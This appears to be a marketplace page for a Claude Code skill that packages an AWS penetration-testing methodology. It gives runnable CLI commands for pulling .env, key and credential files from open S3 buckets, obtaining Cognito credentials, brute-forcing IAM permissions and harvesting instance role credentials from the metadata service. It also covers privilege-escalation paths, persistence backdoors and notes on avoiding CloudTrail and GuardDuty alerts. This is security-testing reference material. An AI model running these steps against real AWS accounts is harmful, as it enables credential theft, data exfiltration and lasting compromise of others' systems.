mcpField
A
aws-pentesting

aws-pentesting

github.com/wgpsecセキュリティ1.8k43 回インストール4 日前に更新
リポジトリ

aws-pentesting について

AWS 環境のペネトレーションテスト手法を段階別にまとめたスキルです。未認証列挙、認証情報と権限の評価、権限昇格、侵入後の活動を扱い、IAM の権限経路や監査上の注意点も示します。

主な機能

  1. 01フェーズ別の AWS 評価フロー
  2. 02未認証のサービス列挙
  3. 03認証情報と IAM 権限の評価
  4. 04権限昇格と横展開の経路
  5. 05永続化資料と監査上の注意

活用シーン

  1. 01AWS 環境の評価計画
  2. 02公開サービスとリソースの確認
  3. 03IAM 権限と昇格経路の分析
  4. 04永続化と監査ガイダンスの参照

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill aws-pentesting

インストール後、Claude Code で/aws-pentestingを入力して読み込まれたか確認します。

同梱ファイルreferences/persistence-techniques.mdreferences/unauthenticated-enum.md

詳細

AWS クラウド環境のペネトレーションテスト手法

AWS は世界最大のパブリッククラウドプラットフォームであり、数多くの企業の基幹業務システムを支えています。200 を超えるサービスが広大な攻撃対象領域を構成しており、IAM ポリシーの設定ミス、S3 Bucket の公開、EC2 メタデータの漏えい、認証されていない Lambda 関数 URL などの問題が、実際の評価で頻繁に見つかります。このスキルでは攻撃フェーズ(Phase)を軸に、「認証情報なし」から「完全な制御」に至る一連の侵入経路をまとめ、判断ツリーを使って専門スキルへ誘導します。

詳細なリファレンス

具体的な攻撃フェーズを特定したら、対応するリファレンスドキュメントを読み込み、技術的な詳細を確認します。

Phase 0: 攻撃対象領域の判断

AWS 関連のターゲットを得たら、まず現在手元にある資産の種類を判断し、どの攻撃フェーズに進むかを決めます。

当前持有什么?
├── 无任何凭据
│   ├── 有目标域名/IP → Phase 1(未授权枚举)
│   ├── 有 SSRF 漏洞 → 直接打元数据服务获取凭据 → Phase 2
│   └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 AWS AK/SK(AKIA 开头 = 长期密钥)
│   └── → Phase 2(凭据验证与权限评估)
│
├── 有临时凭据(ASIA 开头 + SessionToken)
│   └── → Phase 2(注意:有效期通常 1-12 小时,需快速行动)
│
├── 在 EC2/Lambda/ECS 实例内部
│   └── → 通过元数据获取绑定的 IAM Role 凭据 → Phase 2
│
└── 有 AWS SSO Token / IAM Identity Center 会话
    └── → Phase 2(需额外确认可访问的账户和角色)
AWS 認証情報タイプのクイックリファレンス
認証情報タイプ識別特性有効期間取得方法
長期 AK/SKAccessKeyId が AKIA で始まり、20 文字永久(ローテーションされるまで)コンソールで作成/漏えいから取得
一時 STS 認証情報AccessKeyId が ASIA で始まり、SessionToken を含む15 分〜36 時間AssumeRole / GetSessionToken
IAM Role(インスタンスに紐付け)169.254.169.254 経由で取得自動ローテーションEC2/Lambda/ECS メタデータ
SSO TokenaccessToken フィールドを含む JSON 形式通常 8 時間~/.aws/sso/cache/
Cognito TokenJWT 形式の Identity/Access Token1 時間Cognito Identity Pool
Canary Token の検出

取得した認証情報を使用する前に、ハニートークン(Canary Token)かどうかを確認してください。ハニートークンを使うと、直ちにアラートが発生します。よくある特徴は次のとおりです。

  • AccessKeyId の形式が、既知のハニーポットサービス(Thinkst Canaries、SpaceCrab など)と一致する
  • 異常な経路から取得されたもの(意図的に公開された設定ファイル、あまりにも分かりやすい漏えい箇所)
  • aws sts get-access-key-info --access-key-id AKIA... で所属アカウントを照会し、既知のハニーポットアカウントと照合できる

Phase 1: 未認証列挙

AWS 認証情報がまったくない状態でも、ターゲットについて大量の情報を収集できます。AWS では、25 以上のサービスに未認証で列挙できる範囲があります。

価値の高い列挙対象
対象攻撃手法価値
S3 Bucketドメイン列挙 + ブルートフォース推測 + DNS CNAMEデータ漏えい、認証情報ファイルの取得
Lambda Function URLhttps://{id}.lambda-url.{region}.on.aws/Web 脆弱性の悪用
Cognito User Pool新しいユーザーの登録を試行認証済み ID の取得 → IAM Role
Cognito Identity Pool未認証 IAM Role の取得AWS 認証情報を直接取得
EC2 の公開ポートNmap + サービスのフィンガープリントSSRF → メタデータ → IAM 認証情報
公開 AMI / EBS スナップショットdescribe-images --executable-users allハードコードされた認証情報の抽出
API Gatewayhttps://{id}.execute-api.{region}.amazonaws.com/API 脆弱性の悪用
CloudFront ディストリビューションhttps://{id}.cloudfront.netOrigin の特定、キャッシュポイズニング
S3 のクイック列挙手順
# 1. 检查 Bucket 是否存在并可列出
aws s3 ls s3://TARGET-BUCKET --no-sign-request

# 2. 如果可列出,递归下载敏感文件
aws s3 cp s3://TARGET-BUCKET/ ./loot/ --recursive --no-sign-request \
  --exclude "*" --include "*.env" --include "*.pem" --include "*.key" \
  --include "*credentials*" --include "*config*"

# 3. 通过 Bucket 反查 Account ID
pip install s3-account-search
s3-account-search arn:aws:iam::YOUR_ACCT:role/YOUR_ROLE s3://TARGET-BUCKET
Cognito のクイック悪用
# 如果发现 Identity Pool ID(格式:region:guid),获取未认证凭据
aws cognito-identity get-id --identity-pool-id "us-east-1:xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxx"
aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyyy"

# 如果发现 User Pool Client ID,尝试注册
aws cognito-idp sign-up --client-id CLIENT_ID --username [email protected] --password 'P@ssw0rd123!'

→ 25 以上のサービスに関する完全な列挙一覧は、references/unauthenticated-enum.md を読んでください。

Phase 2: 認証情報の検証と権限評価

認証情報を取得したら、まず有効性を検証し、権限の範囲を評価します。

2.1 認証情報の検証
# 身份确认(最基础的检查)
aws sts get-caller-identity

# 返回示例:
# Account: 123456789012
# UserId: AIDA...
# Arn: arn:aws:iam::123456789012:user/developer

# 判断凭据类型
aws sts get-access-key-info --access-key-id AKIA...
2.2 権限の列挙
# 方法一:直接查询 IAM 策略(需要 iam 读权限)
aws iam get-user
aws iam list-attached-user-policies --user-name USERNAME
aws iam list-user-policies --user-name USERNAME          # 内联策略名称列表
aws iam get-user-policy --user-name USERNAME --policy-name POLICYNAME
aws iam list-groups-for-user --user-name USERNAME        # 用户属于哪些组

# 组这一层最容易漏:用户本身没权限,权限挂在组上
aws iam list-groups
aws iam list-attached-group-policies --group-name GROUPNAME
aws iam list-group-policies --group-name GROUPNAME
aws iam get-group-policy --group-name GROUPNAME --policy-name POLICYNAME

# 方法二:如果是 Role
aws iam list-attached-role-policies --role-name ROLENAME
aws iam list-role-policies --role-name ROLENAME          # 内联策略名称列表
aws iam get-role-policy --role-name ROLENAME --policy-name POLICYNAME

# 方法三:从托管策略全局反查(需要 iam 读权限)
aws iam list-policies --scope Local
aws iam get-policy --policy-arn POLICYARN                # 取 DefaultVersionId
aws iam get-policy-version --policy-arn POLICYARN --version-id VID

# 方法四:暴力枚举权限(无需 IAM 读权限)
# enumerate-iam 工具会尝试调用大量 API 来探测可用权限
pip install enumerate-iam
enumerate-iam --access-key AKIA... --secret-key ...
2.3 権限評価の判断ツリー
当前身份权限如何?
├── 有 iam:* 或 AdministratorAccess → 已是管理员,直接 Phase 4
├── 有 iam 读权限但无写权限 → 枚举所有用户/角色/策略,寻找提权路径 → Phase 3
├── 有特定服务权限(如 s3:*、ec2:*、lambda:*)
│   ├── 检查是否有 iam:PassRole → 可能通过 PassRole 提权 → Phase 3
│   ├── 有 ec2:RunInstances + iam:PassRole → EC2 提权 → Phase 3
│   └── 可直接利用当前权限进行后渗透 → Phase 4
└── 权限极低 → 尝试暴力枚举更多权限,或回到 Phase 1 寻找更多入口

詳細なポリシー分析には、aws-iam-policy-analysis スキルを参照してください。

クラウドを横断した IAM 監査には、cloud-iam-audit スキルを参照してください。

AK/SK の完全な悪用チェーンについては、cloud-aksk-exploit スキルを参照してください。

2.4 自動監査ツール
ツール用途コマンド
enumerate-iam使用可能な権限をブルートフォース列挙enumerate-iam --access-key ... --secret-key ...
PacuAWS 悪用フレームワーク(列挙 + 権限昇格 + ポストエクスプロイト)pacu → import_keys → exec iam__enum_permissions
ScoutSuiteマルチクラウドのセキュリティ監査レポートscout aws -p PROFILE
ProwlerAWS セキュリティのベストプラクティスチェックprowler aws --profile PROFILE
CloudFox攻撃経路の特定cloudfox aws --profile PROFILE all-checks
PMapperIAM 権限昇格経路のグラフ分析pmapper --profile PROFILE graph create

Phase 3: 権限昇格

AWS の権限昇格の基本的な考え方は、現在の権限を利用してより高い権限を取得することです。AWS には数百の権限があり、その多くは組み合わせることで権限昇格経路になります。

よくある権限昇格経路の概要
権限昇格経路主要な権限仕組み
iam:CreatePolicyVersion新しいポリシーバージョンの作成Admin 権限を持つポリシーバージョンを新規作成し、デフォルトに設定する
iam:AttachUserPolicy / AttachRolePolicy管理ポリシーのアタッチ自分に AdministratorAccess を直接アタッチする
iam:PutUserPolicy / PutRolePolicyインラインポリシーの設定自分に Allow * ポリシーを書き込む
iam:PassRole + ec2:RunInstancesEC2 への PassRole高権限の Role が紐付いた EC2 インスタンスを起動する
iam:PassRole + lambda:CreateFunctionLambda への PassRole高権限の Role が紐付いた Lambda を作成して実行する
sts:AssumeRoleロールチェーンより高い権限の Role に切り替える
iam:CreateLoginProfileユーザーのコンソールパスワードを作成他のユーザーのコンソールアクセスを乗っ取る
iam:UpdateAssumeRolePolicyロールの信頼ポリシーを変更自分が高権限ロールに AssumeRole できるようにする
PassRole による権限昇格の仕組み

iam:PassRole は AWS の権限昇格で最も重要な権限の一つです。ユーザーが IAM Role を AWS サービスに「渡す」ことを許可します。iam:PassRole とサービスの作成権限(ec2:RunInstances、lambda:CreateFunction など)があれば、高権限の Role が紐付いたリソースを作成し、そのリソースを介して間接的に高い権限を取得できます。

攻击者拥有: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
    │
    ├─ 1. 创建 Lambda 函数,绑定一个拥有 AdministratorAccess 的 Role
    ├─ 2. Lambda 代码中调用 IAM API 给攻击者账户添加 Admin 策略
    └─ 3. 调用该 Lambda → 攻击者获得管理员权限

46 サービスの詳細な権限昇格経路については、aws-iam-privesc スキルを参照してください。

Phase 4: ポストエクスプロイトと永続化

高い権限を取得したら、ポストエクスプロイトの段階に進みます。目的は、データの取得、ラテラルムーブメント、永続化の確立です。

4.1 データの発見と取得
优先搜索哪些数据源?
├── S3 Bucket → 文档、备份、日志、配置文件
├── RDS / DynamoDB → 业务数据库
├── Secrets Manager / Parameter Store → 凭据和配置
├── EBS 快照 → 挂载后可读取完整文件系统
├── CloudWatch Logs → 应用日志中的敏感信息
└── CodeCommit → 代码仓库
4.2 ラテラルムーブメント

AWS 環境でのラテラルムーブメントは、主に次の 2 つの方向で発生します。

アカウント間の移動:

  • OrganizationAccountAccessRole を利用する(管理アカウント → メンバーアカウント)
  • アカウント間のロール信頼ポリシーを利用する(sts:AssumeRole)
  • 共有リソースを利用する(S3 Bucket Policy、KMS Key Policy)

サービス間の移動:

  • EC2 インスタンス上の SSM Agent → SSM RunCommand を使って他のインスタンスへラテラルムーブメントする
  • ECS/EKS タスクロール → コンテナからホストマシンへ脱出する
  • Lambda 関数ロール → 関数コードを変更し、任意の操作を実行する
4.3 永続化手法の概要
サービス永続化方法隠蔽性
IAMバックドアユーザー/ロールの作成、Access Key の追加、信頼ポリシーの変更低(IAM の変更は監査で見つかりやすい)
LambdaLayer バックドア、Extension の注入、バージョン/エイリアスの重み付け、非同期の自己ループ高
EC2UserData バックドア、AMI バックドア、SSH Key の注入、セキュリティグループのコネクショントラッキング中
STSRole Chain Juggling(ロールチェーンの循環更新)高
CloudFormationCDK Bootstrap で外部アカウントを信頼中
Cognito外部 ID プロバイダーの追加、リスク設定の変更高
SSMCreateAssociation によるコマンドの定期実行中
EventBridge定期ルールによる悪意のある Lambda/ECS タスクの起動中
SNS/SQS外部サブスクライバーを追加し、メッセージを継続的に窃取高
ECRリポジトリポリシーへのバックドア、イメージの汚染高

→ 22 を超えるサービスの永続化手法の完全な一覧については、references/persistence-techniques.md を参照してください。

aws-post-exploit スキルを参照して、データ窃取と横方向移動の詳細ガイドを確認してください。

付録:AWS クイックリファレンス

よく使う AWS CLI コマンド
# 身份与权限
aws sts get-caller-identity                           # 当前身份
aws iam get-user                                      # 当前 IAM 用户信息
aws iam list-attached-user-policies --user-name USER  # 附加的策略
aws iam list-groups-for-user --user-name USER         # 所属组(权限常挂在组上)
aws iam list-roles                                    # 列出所有角色
aws organizations list-accounts                       # 列出组织内所有账户

# 枚举资源
aws s3 ls                                             # 列出所有 S3 Bucket
aws ec2 describe-instances --region REGION             # 列出 EC2 实例
aws lambda list-functions --region REGION              # 列出 Lambda 函数
aws rds describe-db-instances --region REGION           # 列出 RDS 实例
aws ec2 describe-security-groups --group-ids SG_ID --region REGION  # RDS 可达性:谁能连上来
aws secretsmanager list-secrets --region REGION         # 列出 Secrets
aws secretsmanager get-secret-value --secret-id SECRET_NAME --region REGION  # 读明文

# 凭据操作
aws sts assume-role --role-arn ARN --role-session-name s   # 切换角色
aws sts get-session-token --duration-seconds 43200         # 获取临时凭据

# 元数据服务(从 EC2 实例内部)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data/    # 启动脚本常留明文口令
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# 把取到的三元组落成一个独立 profile,避免污染当前环境
aws configure --profile loot   # AccessKeyId / SecretAccessKey / SessionToken 依次填入
export AWS_PROFILE=loot
aws sts get-caller-identity    # 确认已切到实例角色
AWS サービス略称一覧
略称正式名称攻撃対象領域のキーワード
IAMIdentity and Access Management権限ポリシー、ロールの信頼、権限昇格
STSSecurity Token Service一時的な認証情報、AssumeRole
EC2Elastic Compute Cloudインスタンス、メタデータ、セキュリティグループ、AMI
S3Simple Storage ServiceBucket ポリシー、ACL、パブリックアクセス
LambdaLambda (Serverless)関数 URL、Layer、環境変数
RDSRelational Database Serviceパブリックアクセス、スナップショットの漏えい
EKSElastic Kubernetes ServiceRBAC、ServiceAccount
ECSElastic Container Serviceタスク定義、IAM Role
ECRElastic Container Registryイメージリポジトリポリシー
CloudFrontCloudFront (CDN)Origin の露出、キャッシュルール
SNSSimple Notification ServiceTopic ポリシー、サブスクライバー
SQSSimple Queue Serviceキューポリシー、メッセージの窃取
SSMSystems ManagerRunCommand、Parameter Store
KMSKey Management ServiceKey Policy、Grant
CognitoCognitoUser Pool、Identity Pool

注意事項

CloudTrail による監査の可視性: AWS API の呼び出しは、ほぼすべて CloudTrail に記録されます。次の操作では、可視性の高いログイベントが発生します。

  • IAM の変更(CreateUser、AttachPolicy、CreateAccessKey)
  • ロールの切り替え(AssumeRole)
  • クロスリージョン操作

一部の API は CloudTrail で「データイベント」(S3 GetObject など)として扱われ、デフォルトでは記録されませんが、組織によっては記録が有効になっている場合があります。

GuardDuty による検出リスク: GuardDuty は次の動作を検出します。

  • 異常な IP/リージョンでの認証情報の使用
  • EC2 インスタンスと既知の悪意ある IP との通信
  • S3 からの大規模なデータエクスポート
  • IAM 権限の異常な変更
  • DNS トンネルのトラフィック

レート制限: AWS API にはレート制限があります(通常は毎秒 5~20 回の呼び出し)。総当たりで列挙する際は、スロットリングに注意してください。そうしないと ThrottlingException が発生し、アラートにつながる可能性があります。

リージョンの違い: AWS リソースはリージョンごとに分離されています。列挙する際は、有効になっているすべてのリージョンを確認してください(aws ec2 describe-regions)。us-east-1 だけを確認しないでください。グローバルサービス(IAM、Route53、CloudFront、STS)はリージョンの制限を受けません。

コメント